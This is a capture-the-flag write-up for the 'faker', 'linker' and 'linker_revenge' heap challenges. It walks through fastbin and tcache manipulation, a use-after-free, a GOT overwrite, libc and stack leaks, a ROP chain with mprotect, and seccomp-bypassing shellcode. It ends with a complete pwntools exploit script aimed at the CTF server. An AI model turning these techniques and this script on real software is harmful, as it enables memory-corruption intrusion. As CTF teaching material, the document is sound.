Rating:
Since faker, linker, and linker_revenge are quite similar, this writeup will
cover all three.
This is the faker checksec output:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
seccomp additionally restricts syscalls to
openat(),read(),write(),mprotect(),mmap()
All three executables have the same basic functionality in pseudocode:
```
alloc(size):
idx = 0;
while(!buf_in_use[idx]) idx++;
if(idx >= 5) fail();
buf_in_use[idx] = true;
buf[idx] = calloc(size);
buf_size[idx] = size;
delete(idx):
free(idx);
buf_in_use[idx] = false;
edit(idx):
if(buf_in_use[idx])
read(buf[idx],buf_size[idx]);
The globals are laid out like this:
int32_t buf_size[8];
uint32_t buf_in_use[8];
void* buf[8];
```
Note that indices 5-7 are inaccessible, the array sizes are for proper
alignment.
The main differences between the three are as follows:
- faker requires that size <= 0x70 in alloc()
- linker does not have seccomp
- linker_revenge has a function that does puts(buf[idx])
We avoid using puts(buf[idx]), and futher restrict alloc() to size <= 0x70
We first obtain arbitrary write by overwriting the global `buf*` structures. We
do this by setting buf_size[0] = 0x61 and buf_size[1] = 0 by allocating buffers
to create a fake fastbin chunk of size 0x50. We then fill the tcache of size
0x50 by alloc()'ing and free()'ing a buffer of size 0x50 repeatedly. Since
calloc() skips the tcache, we are effectively stashing freshly allocated chunks
into the tcache. Then we allocate and free a buffer of size 0x50 which goes
into the fastbin. We can then exploit a UAF in edit() to point the fd pointer
to our fake chunk. We can then allocate the fake chunk.
From here we can write to `(void*)&buf_size[2]`. We overwrite buf[0] =
`(void*)buf_size` to set up another write that can overwrite all of the global
structures. We then use this write to set` buf_size[i] = INT_MAX`, `buf_in_use[i]
= true`, and keep `buf[0] = (void*)buf_size` so we can always overwrite the global
structures again for another arbitrary read/write if we need to.
We now use our arbitrary write to obtain arbitrary read by setting free()'s GOT
entry to puts@PLT. If we free() a index now, it will instead puts() the
contents of the buffer.
We use our arbitrary read to leak a libc pointer from the GOT, and leak the
`__environ` pointer in the libc to get a pointer to the stack.
Now we deploy shellcode to a RW page, and write a ROP payload to call
mprotect() to make the shellcode executable and exeucute it. Since the offset
between `__environ` and the current stack pointer can be very system dependent,
we need to add a "nop sled" to the ROP payload. We can do this by prepending
the payload with a lot of pointers to a ret instruction, which instantly
returns to the next pointer on the stack and does nothing.
The shellcode just does the following to get around seccomp:
```
fd = openat(AT_FDCWD,"flag",O_RDONLY);
num_read = read(fd,rsp,0x1000);
write(1,rsp,num_read)
```
Here is the actual assembly shellcode:
```
mov rax,257
mov rdi,4294967196
lea rsi,[rip + filename_flag]
xor rdx,rdx
syscall
mov rdi,rax
xor rax,rax
mov rsi,rsp
mov rdx,0x1000
syscall
mov rdx,rax
mov rax,1
mov rdi,rax
syscall
filename_flag:
.asciz "flag"
```
Here is the full exploit for faker(offsets must be changed for the other ones):
```
#!/usr/bin/env python3
from pwn import *
import sys
#p = process("./faker")
p = remote("faker.3k.ctf.to",5231)
def cmd(num):
p.recvuntil(b"> ")
p.sendline(str(num))
p.recvuntil(b":\n")
def alloc(size):
cmd(1)
p.send(str(size))
s = p.recvline()
i = s.rindex(b' ')
return int(s[i:])
def edit(idx,buf):
cmd(2)
p.sendline(str(idx))
p.recvuntil(b":\n")
p.send(buf)
def free(idx):
cmd(3)
p.sendline(str(idx))
def view(idx):
free(idx)
end_txt = "1- Get new blank page"
s = p.recvuntil(end_txt)
s = s[:-len(end_txt) - 1]
return s
ptr_rel_memcpy = 0x602068
ptr_rel_free = 0x602018
ptr_plt_puts = 0x4008c0
ptr_fake_fast = 0x6020d8
ptr_ptrs = 0x6020e0
ptr_name = 0x602150
ptr_pop_rsi_r15 = 0x00401121
ptr_pop_rdi = 0x401123
ptr_ret = 0x401124
off_memcpy = 0x18ed40
off_system = 0x000000000004f4e0
ptr_buf = 0x602200
ptr_buf_page = 0x602000
sz = 0x50
p.recvuntil(":\n")
p.sendline(b'008')
p.send(b"/bin/sh\x00")
for i in range(7):
alloc(sz)
free(0)
alloc(sz + 0x11)
alloc(0)
alloc(sz)
free(2)
edit(2,p64(ptr_fake_fast))
alloc(sz)
alloc(sz)
edit(3,p32(0x7fffffff) * 3 + bytes(4 * 3) + p32(1) * 5 + bytes(4 * 3) + p64(0) * 2 + p64(ptr_ptrs))
buf_pre = p32(0x7fffffff) * 5 + bytes(4 * 3) + p32(1) * 5 + bytes(4 * 3)
edit(2,buf_pre + p64(ptr_ptrs) + p64(ptr_rel_memcpy) + p64(ptr_rel_free))
edit(2,p64(ptr_plt_puts))
ptr_memcpy = int.from_bytes(view(1),"little")
ptr_libc = ptr_memcpy - off_memcpy
ptr_environ = ptr_libc + 0x00000000003ee098
ptr_pop_rax = ptr_libc + 0x43a78
ptr_pop_rdx = ptr_libc + 0x1b96
ptr_syscall = ptr_libc + 0x13c0
ptr_mprotect = ptr_libc + 0x000000000011bc00
print(hex(ptr_libc))
edit(0,buf_pre + p64(ptr_ptrs) + p64(ptr_environ))
ptr_leak_stack = int.from_bytes(view(1),"little")
print(hex(ptr_leak_stack - 0x400))
edit(0,buf_pre + p64(ptr_ptrs) + p64(ptr_buf) + p64(ptr_leak_stack - 0x200))
with open("shell","rb") as shell_f:
shellcode = shell_f.read()
edit(1,shellcode)
buf = p64(ptr_ret) * (0x100 // 8)
buf += p64(ptr_pop_rdi) + p64(ptr_buf_page)
buf += p64(ptr_pop_rsi_r15) + p64(0x1000) + p64(0)
buf += p64(ptr_pop_rdx) + p64(5)
buf += p64(ptr_mprotect)
buf += p64(ptr_buf)
edit(2,buf)
p.interactive()
```